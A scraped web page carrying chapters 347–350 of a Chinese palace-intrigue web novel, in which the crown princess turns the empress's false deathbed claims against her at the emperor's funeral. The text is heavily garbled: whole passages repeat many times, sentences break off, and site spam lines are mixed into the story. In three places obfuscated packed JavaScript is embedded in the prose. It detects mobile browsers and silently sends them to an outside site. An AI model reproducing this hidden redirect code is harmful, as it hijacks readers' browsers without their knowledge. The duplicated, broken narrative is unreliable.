御前太监将一个精致的黄花梨木盒抱来他双眼肿得像一对桃子声音颤抖“这是陛下特意命内务府做的纸鸢本来说好今日要放给郡主看的可惜世事无常……” 云清婳谢过后让王显将木盒抱着。 她的心中缠绕着许多疑问。 皇上还未等来承基、辞忧也没让太监来催就**? 凭皇上对承基、辞忧的宠爱他定会想在临终前看看孩子。 据说人在死前是有预料的皇上不可能这么没准备不声不响地就**。 疑点出在了皇后的身上。 你的朋友正在书荒,快去帮帮他吧 第347章 他知道害死皇上的是何人 真是瞌睡有人递枕头。 她正愁没法整治皇后呢,结果皇后自寻死路。 云清婳走进养心殿,裴墨染正带着孩子跪在榻前磕头。 内务府的殡仪太监正在给皇上更衣、擦洗。 明黄色的丝绸亵衣上、榻上、地板上血迹还未干涸,颜色红艳艳的。 云清婳眼前一亮,心中的猜测化为实质。 她跟着裴墨染磕完头,便让飞霜将孩子带到一边去换孝衣。 云清婳从内务府的太监手中接过孝衣,伺候裴墨染换上,她低声道:“皇上怎么吐了这么多血?” 他继位在即,还要操持丧事,心中缠绕着太多事,一时之间没有细想她的话,“嗯,父皇病重,时常咯血,早就如此了。” “夫君昨晚临走前,没在床榻前给父皇放吊命药?”她抓住他的胳膊,眼神意有所指。 忽地,裴墨染眸光骤凝,几步并作一步,径直冲到榻前。 他环顾一周,面上冷得像是结了冰。 昨晚,他亲自放在榻前矮几上的药瓶不见了。 “你们可收捡了父皇的吊命药?”裴墨染冷声问。 跪了一地的宫女、太监不约而同地摇头。 箬竹嬷嬷福身,有条不紊道:“老奴命他们不许收捡陛下的物什,一切都听从殿下的安排。” 裴墨染眸光一凛,指节骤然收紧成拳,冷声逼问:“父皇驾崩前见了谁?” “您走后,陛下接见了许多朝廷重臣,还见了皇后娘娘。”御前太监抽泣着。 “父皇见的最后一个人是母后?”他难以置信,又确认一遍。 御前太监重重颔首,“是。” 裴墨染眼眸一黯,他扭头看向门外的虚影,眼底酝酿着一场风暴。 云清婳知道裴墨染已经猜到了,皇上崩殂,跟皇后脱不了干系。 接下来,他会怎么做,她很期待。 就算不能要皇后的命,她也要败坏皇后在裴墨染心中的形象。 …… 皇后是个没主意的,皇上驾崩后,她便只会跪在不远处“哭泣”,悲痛不已。 太后接受不了儿子过世的打击,缠绵病榻,昏迷不醒。 于是,布置国丧的重担便落在云清婳、 裴墨染的肩上。 好在内务府的训练有素,在他们的协助下,不到一日,他们就布置好了一切。 皇上很快就被抬进镶了金边的雕龙小叶紫檀棺材中,停灵于乾清宫,群臣进宫悼念。 举国哀悼。 云清婳换上孝衣,除去发髻上的簪环,只戴着一朵白色绢花,她牵着承基、辞忧进入灵堂给皇上上香。 殿外,皇孙的位置上,一群四五岁的孩子跪在地上抽抽噎噎地哭着。 他们是被吓哭的,对于他们而言,皇上就是一具尸体,并没有什么感情。 但他们的眼泪于外人看来却是孝顺的表现。 “皇太孙、郡主想哭便哭吧。飞霜心急如焚,小声催促着。 承基、辞忧一脸迷茫地仰头看着飞霜。 “姨姨,我哭不出来。辞忧绞着手指。 飞霜头皮发麻,一把捂住她的嘴。 小祖宗,这话可不兴说啊。 云清婳心头猛地一滞,某种不祥的预感悄然爬上脊背。 她幼年也是如此,那时还不会伪装,冷心冷情,谁**都哭不出来。 两个孩子不会跟她一样,是情感不健全的“疯子吧? 思及此,她脑中像是炸开了烟花,一片混沌。 裴墨染从群臣中抽身走来,他询问道:“怎么回事? “……云清婳发怔。 飞霜福身,“皇太孙跟郡主哭不出来,主子有些担心。 “哭不出来便不哭,孩子还小,懂什么啊?裴墨染弯腰他们的脑袋,“去上三炷香就好了。 云清婳看着两个孩子,眼神幽深。 真的是年纪小,不懂事这么简单吗? 但愿吧。 云清婳回过神,她随便找了个借口,“夫君,我怕有人趁机抓住话柄,将来攻击孩子。 “放心吧,有我在,谁敢找死?他握住她的手。 她颔首。 裴墨染带她去灵堂,“你受累了,给父皇上完香便回东宫歇息吧。 “嗯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是啊陛下跟皇后向来宠爱贤王陛下临终召见皇后不会是改变心意想要……” 话到这里戛然而止这大逆不道的话他们不敢再说下去。 但谁都明白是什么意思。 跪在不远处的裴云澈眸光骤然一亮他按捺不住地往前倾了倾身子仿佛在绝境中终于瞥见了最后一丝生机。 莫非父皇想明白了最后想要改立太子? 第348章 太子妃霍乱朝纲? 众**眼瞪小眼,各种猜测层出不穷,一个比一个匪夷所思、僭越犯上。 闻声,皇后哭得更起劲了,她的眼底闪过奸计得逞的精光。 裴墨染宽厚衣袍下的手用力攥住,骨节捏得咔咔作响。 都到这个时候了,皇后为何还不放过他? 竟然还在皇上灵前生事! 一个人怎能离谱出格到如此地步? 他忍无可忍。 云清婳的心头蒙上了担忧。 皇后究竟想说什么? 官员你看看我,我看看你,最后监察御史被推了出来。 监察御史一脸便秘的表情,他颤颤巍巍地上前,拜了拜,“皇后娘娘,敢问陛下临终前说了什么? 皇后的嘴角斜提。 这正中她下怀。 “陛下说,陛下说……皇后在不懈努力下,终于挤出了眼泪。 她侧过脸,微微抬起头看向云清婳的方向。 云清婳陡然明白了皇后的计谋。 她完全有把柄来反制皇后,拿捏她! 但现在亮出底牌,皇后完全可以撤回“进攻,说一个不痛不痒的话轻轻带过。 这么一来,这出大戏就不精彩了。 何不在皇后最得意时给她重重一击?让她颜面尽失,甚至在所有官员心中把她塑造成一个疯子? 皇后的眼中满是纠结跟无奈,“本宫不想当众说的……可是既然监察御史问了,本宫为了大昭江山稳定,不得不说。 “还请皇后娘娘明示!陛下的临终遗言,不仅是家事,也是国事,不可马虎啊!监察御史跪地祈求。 众官员应和,“求皇后娘娘明示! 裴云澈起身走向前,他催促道:“母后,父皇交代了什么,您快说吧,否则就来不及了。 裴墨染、云清婳的脸色如沉沉暮霭,如出一辙的低沉。 可二人各有打算,各有担忧。 皇后清了清嗓子,陡然拔高声音,一字一顿道:“陛下说,太子妃不贤,霍乱朝纲,定不能立她为后! 众人倒吸了口凉气。 而裴云澈有种深深的无力感,就像是一拳打在棉花上。 满室哗然,官员们窃窃私语,用审视的目光打量云清 婳,甚至眸中染上鄙夷、不满。 “若是如此,太子妃怎配主持国丧?真是抬举她了。 “云清婳靠魔方赢过波斯使臣那次,我就觉得她锋芒毕露,极智近妖,有牝鸡司晨之兆! 另一帮官员以云丞相马首是瞻,他们辩驳:“别忘了,太子妃是皇太孙的母亲,还在七星连珠夜生下了龙凤胎,还有谁比她更合适为后? “这全是皇后的一面之词,若有证据佐证才能取信。而且太子妃曾救过陛下性命,陛下怎会如此贬低太子妃? 两种声音针锋相对,尽管声音很低,但唇枪舌剑依旧不容小觑。 裴墨染的心中划过异样的情绪。 这话的确像是父皇说的,因为父皇不止一次提醒他提防蛮蛮。 云清婳按兵不动,她想看看裴墨染的反应。 这一次,你会为了巩固皇位,放弃我吗? 裴墨染眉峰一凛,眼眸好似凝结成冰, “母后身子抱恙已久,父皇驾崩,母后悲痛过度说了胡话!父皇的遗诏面面俱到,倘若真对太子妃不满,为何不写明? 即使父皇临终前,真想挟制蛮蛮又如何? 他选的皇后倒是愚笨,可最终还不是害**他? 皇上眼光不好,在挑选皇后这方面,他是彻头彻尾的失败者,他不会听皇上的。 云清婳的眼神添了一抹欣慰。 “太子,你不信本宫?本宫岂敢在皇上灵前胡诌?本宫敢以性命起誓!皇后字正腔圆,就好像身上肩负着江山社稷的重担。 她甚至竖起了三根指头。 众官员见她如此信誓旦旦,原本偏向裴墨染、云清婳的天平不禁倒戈,心中没底了。 “皇后所言不似作伪啊! “在陛下灵前起誓,必不是胡言,恐怕陛下临终前真的交代了此事!太子妃不可为后啊! “倘若太子妃真有霍乱朝纲之势,可不仅仅是不能立后这么简单,万不可包藏祸心,应当将隐患扼杀在摇篮里! “既然是皇上的命令,不得不从啊!应当废掉太子妃,将其禁足、绞杀!人群中不知谁说了一句。 瞬间,灵堂安静下来。 半数人重重颔首,一脸赞同。 皇后脸上 的喜色简直快要抑制不住。 云丞相一派的官员嚷声:“昨夜苏家跟裴玉珠打着清君侧的名义在养心殿干了什么你们没听说?皇后的话怎能相信?” “是啊!陛下在时就不止一次说皇后神志恍惚皇后凤体违和不可采信啊。” 虞将军的党羽低声道:“某些人说皇后娘娘的话不可采信究竟是为了大昭江山考虑还是为了一己私利想要巴结云家?” 皇后见有人拥护自己她高声道:“本宫无比清醒本宫知道自己在说什么!” 双方僵持着。 云清婳的小脸一拧神情透着三分落寞细碎的泪水凝在眼睫上似滴非滴。 裴墨染的心被牵动被扯得痛了一下。 他回她一个无比沉稳的眼神沉声道:“莫怕。” “殿下明鉴!倘若臣妾真的霍乱朝纲意图把持朝政不必在灵堂饶父皇清净臣妾甘愿赴死!”云清婳跪下正义凛然地说。 众人被她的气势吓得一愣不约而同地噤声。 她继续道:“可皇上生前待臣妾十分宽厚 “对!不如问问陛下的心腹陛下对太子妃的态度究竟如何!”一个官员高声道。 “是啊……既然双方各执一词不如找个中间人御前总管跟箬竹伺候了皇上半辈子二人总不会被收买!” 皇后的眼底闪过心虚她的后槽牙磨得咯吱咯吱响双臂颤抖。 云清婳眸子一瞥回她一个轻蔑的眼神。 御前太监、箬竹早就闻声赶来他们立即跪在地上。 “陛下的心意老奴不敢偷听也不敢揣测但老奴不止一次听见陛下夸奖太子妃能干诞下了两位好皇孙。”御前太监不失偏颇如实道。 “对!老奴听陛下说太子妃把皇孙教养得极好。”箬竹也如实道。 云清婳、裴墨染舒展了眉宇。 你的朋友正在书荒,快去帮帮他吧 的喜色简直快要抑制不住。 云丞相一派的官员嚷声:“昨夜苏家跟裴玉珠打着清君侧的名义在养心殿干了什么你们没听说?皇后的话怎能相信?” “是啊!陛下在时就不止一次说皇后神志恍惚皇后凤体违和不可采信啊。” 虞将军的党羽低声道:“某些人说皇后娘娘的话不可采信究竟是为了大昭江山考虑还是为了一己私利想要巴结云家?” 皇后见有人拥护自己她高声道:“本宫无比清醒本宫知道自己在说什么!” 双方僵持着。 云清婳的小脸一拧神情透着三分落寞细碎的泪水凝在眼睫上似滴非滴。 裴墨染的心被牵动 他回她一个无比沉稳的眼神沉声道:“莫怕。” “殿下明鉴!倘若臣妾真的霍乱朝纲意图把持朝政不必在灵堂饶父皇清净臣妾甘愿赴死!”云清婳跪下正义凛然地说。 众人被她的气势吓得一愣不约而同地噤声。 她继续道:“可皇上生前待臣妾十分宽厚从未展现过丝毫不满既然各执一词何不问问御前总管跟箬竹嬷嬷?” “对!不如问问陛下的心腹陛下对太子妃的态度究竟如何!”一个官员高声道。 “是啊……既然双方各执一词不如找个中间人御前总管跟箬竹伺候了皇上半辈子二人总不会被收买!” 皇后的眼底闪过心虚她的后槽牙磨得咯吱咯吱响双臂颤抖。 云清婳眸子一瞥回她一个轻蔑的眼神。 御前太监、箬竹早就闻声赶来他们立即跪在地上。 “陛下的心意老奴不敢偷听也不敢揣测但老奴不止一次听见陛下夸奖太子妃能干诞下了两位好皇孙。”御前太监不失偏颇如实道。 “对!老奴听陛下说太子妃把皇孙教养得极好。”箬竹也如实道。 云清婳、裴墨染舒展了眉宇。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的喜色简直快要抑制不住。 云丞相一派的官员嚷声:“昨夜苏家跟裴玉珠打着清君侧的名义在养心殿干了什么你们没听说?皇后的话怎能相信?” “是啊!陛下在时就不止一次说皇后神志恍惚皇后凤体违和不可采信啊。” 虞将军的党羽低声道:“某些人说皇后娘娘的话不可采信究竟是为了大昭江山考虑还是为了一己私利想要巴结云家?” 皇后见有人拥护自己她高声道:“本宫无比清醒本宫知道自己在说什么!” 双方僵持着。 云清婳的小脸一拧神情透着三分落寞细碎的泪水凝在眼睫上似滴非滴。 裴墨染的心被牵动被扯得痛了一下。 他回她一个无比沉稳的眼神沉声道:“莫怕。” “殿下明鉴!倘若臣妾真的霍乱朝纲意图把持朝政不必在灵堂饶父皇清净臣妾甘愿赴死!”云清婳跪下正义凛然地说。 众人被她的气势吓得一愣 她继续道:“可皇上生前待臣妾十分宽厚从未展现过丝毫不满既然各执一词何不问问御前总管跟箬竹嬷嬷?” “对!不如问问陛下的心腹陛下对太子妃的态度究竟如何!”一个官员高声道。 “是啊……既然双方各执一词不如找个中间人御前总管跟箬竹伺候了皇上半辈子二人总不会被收买!” 皇后的眼底闪过心虚她的后槽牙磨得咯吱咯吱响双臂颤抖。 云清婳眸子一瞥回她一个轻蔑的眼神。 御前太监、箬竹早就闻声赶来他们立即跪在地上。 “陛下的心意老奴不敢偷听也不敢揣测但老奴不止一次听见陛下夸奖太子妃能干诞下了两位好皇孙。”御前太监不失偏颇如实道。 “对!老奴听陛下说太子妃把皇孙教养得极好。”箬竹也如实道。 云清婳、裴墨染舒展了眉宇。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的喜色简直快要抑制不住。 云丞相一派的官员嚷声:“昨夜苏家跟裴玉珠打着清君侧的名义在养心殿干了什么你们没听说?皇后的话怎能相信?” “是啊!陛下在时就不止一次说皇后神志恍惚皇后凤体违和不可采信啊。” 虞将军的党羽低声道:“某些人说皇后娘娘的话不可采信究竟是为了大昭江山考虑还是为了一己私利想要巴结云家?” 皇后见有人拥护自己她高声道:“本宫无比清醒本宫知道自己在说什么!” 双方僵持着。 云清婳的小脸一拧神情透着三分落寞细碎的泪水凝在眼睫上似滴非滴。 裴墨染的心被牵动被扯得痛了一下。 他回她一个无比沉稳的眼神沉声道:“莫怕。” “殿下明鉴!倘若臣妾真的霍乱朝纲意图把持朝政不必在灵堂饶父皇清净臣妾甘愿赴死!”云清婳跪下正义凛然地说。 众人被她的气势吓得一愣不约而同地噤声。 她继续道:“可皇上生前待臣妾十分宽厚从未展现过丝毫不满既然各执一词何不问问御前总管跟箬竹嬷嬷?” “对!不如问问陛下的心腹陛下对太子妃的态度究竟如何!”一个官员高声道。 “是啊……既然双方各执一词不如找个中间人御前总管跟箬竹伺候了皇上半辈子 皇后的眼底闪过心虚她的后槽牙磨得咯吱咯吱响双臂颤抖。 云清婳眸子一瞥回她一个轻蔑的眼神。 御前太监、箬竹早就闻声赶来他们立即跪在地上。 “陛下的心意老奴不敢偷听也不敢揣测但老奴不止一次听见陛下夸奖太子妃能干诞下了两位好皇孙。”御前太监不失偏颇如实道。 “对!老奴听陛下说太子妃把皇孙教养得极好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376500|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箬竹也如实道。 云清婳、裴墨染舒展了眉宇。 你的朋友正在书荒,快去帮帮他吧 的喜色简直快要抑制不住。 云丞相一派的官员嚷声:“昨夜苏家跟裴玉珠打着清君侧的名义在养心殿干了什么你们没听说?皇后的话怎能相信?” “是啊!陛下在时就不止一次说皇后神志恍惚皇后凤体违和不可采信啊。” 虞将军的党羽低声道:“某些人说皇后娘娘的话不可采信究竟是为了大昭江山考虑还是为了一己私利 皇后见有人拥护自己她高声道:“本宫无比清醒本宫知道自己在说什么!” 双方僵持着。 云清婳的小脸一拧神情透着三分落寞细碎的泪水凝在眼睫上似滴非滴。 裴墨染的心被牵动被扯得痛了一下。 他回她一个无比沉稳的眼神沉声道:“莫怕。” “殿下明鉴!倘若臣妾真的霍乱朝纲意图把持朝政不必在灵堂饶父皇清净臣妾甘愿赴死!”云清婳跪下正义凛然地说。 众人被她的气势吓得一愣不约而同地噤声。 她继续道:“可皇上生前待臣妾十分宽厚从未展现过丝毫不满既然各执一词何不问问御前总管跟箬竹嬷嬷?” “对!不如问问陛下的心腹陛下对太子妃的态度究竟如何!”一个官员高声道。 “是啊……既然双方各执一词不如找个中间人御前总管跟箬竹伺候了皇上半辈子二人总不会被收买!” 皇后的眼底闪过心虚她的后槽牙磨得咯吱咯吱响双臂颤抖。 云清婳眸子一瞥回她一个轻蔑的眼神。 御前太监、箬竹早就闻声赶来他们立即跪在地上。 “陛下的心意老奴不敢偷听也不敢揣测但老奴不止一次听见陛下夸奖太子妃能干诞下了两位好皇孙。”御前太监不失偏颇如实道。 “对!老奴听陛下说太子妃把皇孙教养得极好。”箬竹也如实道。 云清婳、裴墨染舒展了眉宇。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的喜色简直快要抑制不住。 云丞相一派的官员嚷声:“昨夜苏家跟裴玉珠打着清君侧的名义在养心殿干了什么,你们没听说?皇后的话怎能相信? “是啊!陛下在时,就不止一次说皇后神志恍惚,皇后凤体违和,不可采信啊。 虞将军的党羽低声道:“某些人说皇后娘娘的话不可采信,究竟是为了大昭江山考虑,还是为了一己私利,想要巴结云家? 皇后见有人拥护自己,她高声道:“本宫无比清醒,本宫知道自己在说什么! 双方僵持着。 云清婳的小脸一拧,神情透着三分落寞,细碎的泪水凝在眼睫上似滴非滴。 裴墨染的心被牵动,被扯得痛了一下。 他回她一个无比沉稳的眼神,沉声道:“莫怕。 “殿下明鉴!倘若臣妾真的霍乱朝纲,意图把持朝政,不必在灵堂饶父皇清净,臣妾甘愿赴死!云清婳跪下,正义凛然地说。 众人被她的气势吓得一愣,不约而同地噤声。 她继续道:“可皇上生前待臣妾十分宽厚,从未展现过丝毫不满,既然各执一词,何不问问御前总管跟箬竹嬷嬷? “对!不如问问陛下的心腹,陛下对太子妃的态度究竟如何! “是啊……既然双方各执一词,不如找个中间人,御前总管跟箬竹伺候了皇上半辈子,二人总不会被收买! 皇后的眼底闪过心虚,她的后槽牙磨得咯吱咯吱响,双臂颤抖。 云清婳眸子一瞥,回她一个轻蔑的眼神。 御前太监、箬竹早就闻声赶来,他们立即跪在地上。 “陛下的心意,老奴不敢偷听也不敢揣测,但老奴不止一次听见陛下夸奖太子妃能干,诞下了两位好皇孙。御前太监不失偏颇,如实道。 “对!老奴听陛下说,太子妃把皇孙教养得极好。箬竹也如实道。 云清婳、裴墨染舒展了眉宇。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的喜色简直快要抑制不住。 云丞相一派的官员嚷声:“昨夜苏家跟裴玉珠打着清君侧的名义在养心殿干了什么你们没听说?皇后的话怎能相信?” “是啊!陛下在时就不止一次说皇后神志恍惚皇后凤体违和不可采信啊。” 虞将军的党羽低声道:“某些人说皇后娘娘的话不可采信究竟是为了大昭江山考虑还是为了一己私利想要巴结云家?” 皇后见有人拥护自己她高声道:“本宫无比清醒本宫知道自己在说什么!” 双方僵持着。 云清婳的小脸一拧神情透着三分落寞细碎的泪水凝在眼睫上似滴非滴。 裴墨染的心被牵动被扯得痛了一下。 他回她一个无比沉稳的眼神沉声道:“莫怕。” “殿下明鉴!倘若臣妾真的霍乱朝纲意图把持朝政不必在灵堂饶父皇清净 众人被她的气势吓得一愣不约而同地噤声。 她继续道:“可皇上生前待臣妾十分宽厚从未展现过丝毫不满既然各执一词何不问问御前总管跟箬竹嬷嬷?” “对!不如问问陛下的心腹陛下对太子妃的态度究竟如何!”一个官员高声道。 “是啊……既然双方各执一词不如找个中间人御前总管跟箬竹伺候了皇上半辈子二人总不会被收买!” 皇后的眼底闪过心虚她的后槽牙磨得咯吱咯吱响双臂颤抖。 云清婳眸子一瞥回她一个轻蔑的眼神。 御前太监、箬竹早就闻声赶来他们立即跪在地上。 “陛下的心意老奴不敢偷听也不敢揣测但老奴不止一次听见陛下夸奖太子妃能干诞下了两位好皇孙。”御前太监不失偏颇如实道。 “对!老奴听陛下说太子妃把皇孙教养得极好。”箬竹也如实道。 云清婳、裴墨染舒展了眉宇。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第349章 皇后成疯婆子 皇上极其看重脸面,家里的事,他自然不会在外人面前展露。 这完全在云清婳的意料之中。 皇上可能的确不喜欢她,觉得她城府深厚、心狠手辣。 但不喜欢不代表讨厌。 更不代表否认她的贡献与付出! 就像是下火明目的苦瓜,许多人讨厌它,但不代表不会吃。 就算看在承基、辞忧的面上,皇上这个老毕登也不会薄待她,最多不让她当皇后,让她当妃、贵妃还是可以的。 “你们……”皇后剜了一眼御前总管跟箬竹。 这两条老狗! “满意了吗?”裴墨染冷冷砸下一句话,就像是耳光甩在众人脸上。 半数攀咬云清婳的官员噤若寒蝉,连忙跪地求饶。 皇后讽刺,“两个狗奴才的话有什么价值?皇上贵为九五之尊,岂会把心声吐露给两个奴才?” “其实微臣方才就想说了,凭二人的三言两语,难以还太子妃公道,陛下喜怒不形于色,岂会把心思告诉两个奴才?”监察御史向来公正严明,他提出质疑。 保持中立的官员重重颔首,表示认可。 皇后登时又有了底气,她的音色变亮,中气十足,“太子应当刚正不阿,不可包藏祸心啊!本宫的话,你不信,两个狗奴才的话,你就奉为圭臬?” “是啊!太子与太子妃情深,但此事关乎大昭江山,百姓福祉,万不可马虎!” 裴墨染的眼中射出刺骨的寒意,把人盯得发怵。 这个女人害死自己的夫君,还假传圣旨,大闹灵堂,甚至赌咒发誓,时间怎会有人如此恶毒? 云清婳见时机到了,裴墨染对皇后的恨意到达了顶峰,不用再拖了。 她忽的倾身靠近皇后,唇凑近她的耳畔,“你害死陛下,不怕我公之于众?” 皇后脸上的血色登时褪去,她低声道:“本宫可听不懂你在说什么。” 云清婳一把抓住皇后的胳膊,“皇上的吊命药,在你那里吧?!” 皇后的瞳孔地震,浑身瘫软。 这是云清婳猜测的,果然被她猜对了。 吊命药若是原封不动的留在现场,很容易就能让人推断出,皇后对咯血的皇上无动于衷,见死不救。 皇后蠢钝如猪为了掩盖真相居然欲盖弥彰的偷走了药瓶。 云清婳从地上起身尾音上扬“母后的身子好像有些不适母后您再想想您真的听到皇上说那些话了吗?” 皇后像是惊弓之鸟她像是有人掌控住了她的头颅僵硬的左右摇了一下“没没听见本宫方才神志不清了!” “哦?皇后娘娘岂不是在假传圣旨?这该当何罪啊?”虞贵妃抓住漏洞眼神发狠 云清婳无比痛快。 虞贵妃接腔接的好! 皇后吓得眼泪掉了出来连忙摆手“不不不方才那是本宫做梦做到的本宫把梦境跟现实混淆了。” 语毕众官员鄙夷的瞥着皇后。 闹了这么久皇后居然在胡言乱语说梦话? 一国之母疯疯癫癫在灵堂上扰陛下清静毫无仪态可言。 但他们也不好跟一个“疯子”计较。 “哼……”许多官员觉得自己被耍了抬起胳膊凌空重重甩袖。 皇后有苦说不出憋屈的恨不得吐出一口老血。 云清婳戏谑的睨着她眼神带着上位者俯瞰全局的嘲弄“金嬷嬷母后太过伤怀已经神志不清、胡言乱语了扶母后回宫吧。” “是。”金嬷嬷恨不得找条地缝钻进去她扶着皇后从蒲团上起身。 “娘娘您一定是太累了回宫歇歇就好了。”金嬷嬷晦涩的帮皇后澄清。 但没人相信了所有人都对皇后嗤之以鼻。 皇后不甘的抬脚离开惊惧跟愤怒交缠冲刷着她的心头像是潮水上浪花大力拍打礁石浑身发冷快要窒息。 她居然搬起石头砸了自己的脚。 “诸位大人皆是国之栋梁在皇上灵前却被轻易挑拨道貌岸然的诘难太子妃这让本宫不得不怀疑各位是否真的忠心于大昭!”裴墨染的脸上像是覆盖了一层冰霜。 众官员叩首“殿下息怒。” 云清婳眼神如刃冷冷的从方才打压她的官员身上刮过。 但裴墨染看向她时她瞬间变脸眼底的阴狠化为柔弱与感动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384535|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“方才的一切本宫皆看在眼里究竟是何人恶意生事何人 挑拨事端本宫心中皆有定数绝不会姑息!”裴墨染的话如刀每一个字都捅进了他们的心窝。 他的视线直勾勾的投注到虞将军身上死盯着他似乎要将他穿透。 一股铺天盖地的王者气息袭来如泰山倾倒之势威压于顶。 “给本宫滚!”裴墨染冷如冰珠的吐出一个字。 虞将军一愣。 众人纷纷扭头看向他他的心脏一窒脸涨得通红“是。” 他狼狈的爬了出去。 这是一记无形的耳光却响亮的扇在了每一个攻讦云清婳的官员身上。 云清婳明白裴墨染此举不仅仅是为了给她出气。 虞将军党羽太过狂妄仗着曾经的劳苦功高 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)蔑视裴墨染想要拿捏、打击、试探底线。 可裴墨染手段雷霆怎可能隐忍?不要他们的命都不错了! 虞贵妃瑟缩在人群中肩膀不住的颤抖大气不敢出。 她攥着拳头阴沉的睨着裴墨染、云清婳。 就是这对**害宇儿得了木僵害她的儿子被贬去封地…… 就连陛下生前都那么器重虞家如今陛下尸骨未寒他个黄毛小儿竟敢下虞家的面子…… 凭什么裴墨染可以继位? 就因为他是宸妃的儿子?她不服她定不让裴墨染好过! 黄昏后夕奠结束。 众人井然有序的离开。 虞贵妃路过皇孙席位时一眼就看见了偷吃糕点的辞忧。 她的嘴边沾满了糕渣正跟承基说笑。 承基那双跟云清婳相似的眼睛笑成了弯月牙还贴心的给辞忧擦嘴。 他们跟其他哭丧的皇孙格格不入。 虞贵妃眼底闪过精光她如同一位慈祥的长辈温柔的提醒:“嘘……皇太孙不要说笑了国丧期间举国哀悼满宫哭丧万不能举止失仪。” 她的声音不大不小却正好能让主持丧礼的礼部官员听见。 第350章 皇上预判了一切 一石激起千层浪,监察院、礼部的其他官员也纷纷侧头,朝声源看去。 他们的眸色暗了暗,显露出不满。 辞忧、承基迷茫地揉揉后脑勺,他们毕竟才三岁,不太明白她的意思。 一旁的德妃、贤妃幸灾乐祸睨着虞贵妃。 真是作死! 云清婳睥睨着台阶下的一切,尽管距离他们很远,还是敏锐地捕捉到了虞贵妃的异动。 “我去看看。裴墨染也察觉到了龃龉,从跟朝臣的议政中抽身。 她拦住裴墨染,似乎早有意料,“稍安勿躁,有飞霜在,咱们别出面。 他的眼中混着几分忧色,“嗯。 飞霜从一旁走到虞贵妃面前,她福福身,不卑不亢道:“皇太孙跟郡主年岁还小,尚不能理解生死大事。皇上离世前,还送了两位皇孙礼物呢,祖孙情义甚是深厚,皇孙心中对陛下无限敬爱,虞贵妃多心了。 言下之意便是,皇上跟承基、辞忧最深厚,其他人可望不可即。你别多管闲事! 虞贵妃温柔的面具差点破碎,她用帕子假模假样地擦擦眼角,“可是大昭以孝道治国,皇太孙毫无悲痛之意,嬉笑偷吃,终归是不好的吧? 她声音颤抖,还带着隐隐的哭腔。 飞霜的眼中闪过暗芒。 虞贵妃又开始装柔弱了。 就好像堂堂贵妃被一个婢女欺负,在别人看来就是东宫仗势欺人。 监察院、礼部尚书闻风匆匆赶来,他们拜了拜。 虞贵妃可是皇上的后妃,怎能受婢女的气? 更何况本就是皇太孙德行有失,年纪小不是借口。 他们甚至僭越地想,太子妃因为操办国丧,忽视了皇孙的教养。 礼部尚书眼中燃起了淡淡的恼怒,“你一个婢女怎可犯上,对贵妃娘娘不敬? “奴婢没有不敬,奴婢只是在陈述事实。飞霜恭敬回答。 虞贵妃哽咽道:“没关系的,不怪她,都是本宫多管闲事了。 “这怎会是多管闲事? 其他官员低声应和,“是啊,这怎会是多管闲事? “虞贵妃是在好心提醒,是这贱婢看管不力,还找借口狡辩。 这些话明面上在责骂飞霜,可实际上在含沙射影云清婳不称职。 飞霜的额上不自知的冒出细汗,但眼神犀利,气势没落下分毫。 虞贵妃娇弱道:“两位皇孙还是哭两声吧,毕竟陛下在时那么疼你们。 主持丧礼的礼部尚书对着承基、辞忧扑通一声跪下,他叩首,“陛下仙逝,请皇太孙、郡主哀悼痛哭! 其他人跟着跪下,“请皇太孙,郡主哀悼痛哭! 裴墨染的面色黑沉。 一帮狗东西,欺负孩子都欺负到他眼皮子底下了。 他大步流星地走出灵堂,“这帮混账!我去看看! 云清婳追上他,拉着他的手,“我跟夫君一起。 飞霜看向承基、辞忧,两个小包子气定神闲,一副事不关己的模样。 她无奈地在心里叹了口气。 “皇太孙、辞忧郡主,你看看哥哥姐姐都哭了,皇上那么疼你们,难道你们不伤心?虞贵妃佛口蛇心,无形中给他们加了一条罪名。 倘若承基、辞忧不哭,就是不孝! 所有人的目光都落在二人身上。 承基被众人瞩目,毫不怯场,“为什么要哭? “对啊,有什么好哭的?辞忧娇憨的从小兜里掏出一块花生酥吃。 官员瞪大了眼,像是听见了大逆不道的话,胳膊颤抖。 虞贵妃的嘴角勾出讥诮的弧度,“陛下驾崩,你们再也见不到陛下了,不难过吗? 辞忧翻了个白眼,不耐烦的神态跟皇上有几分神似。 承基咋舌,他撅着小嘴,跟小大人似的,流利的说:“皇爷爷才不会死,他去天上保佑我了,帮我肃清奸佞,打击逆党。 最后八个字,他一字一顿,显然也没有理解是什么意思。 “皇爷爷说了,欺负我们的人,他一个都不会放过,特别是方若儒、陈子辰…… 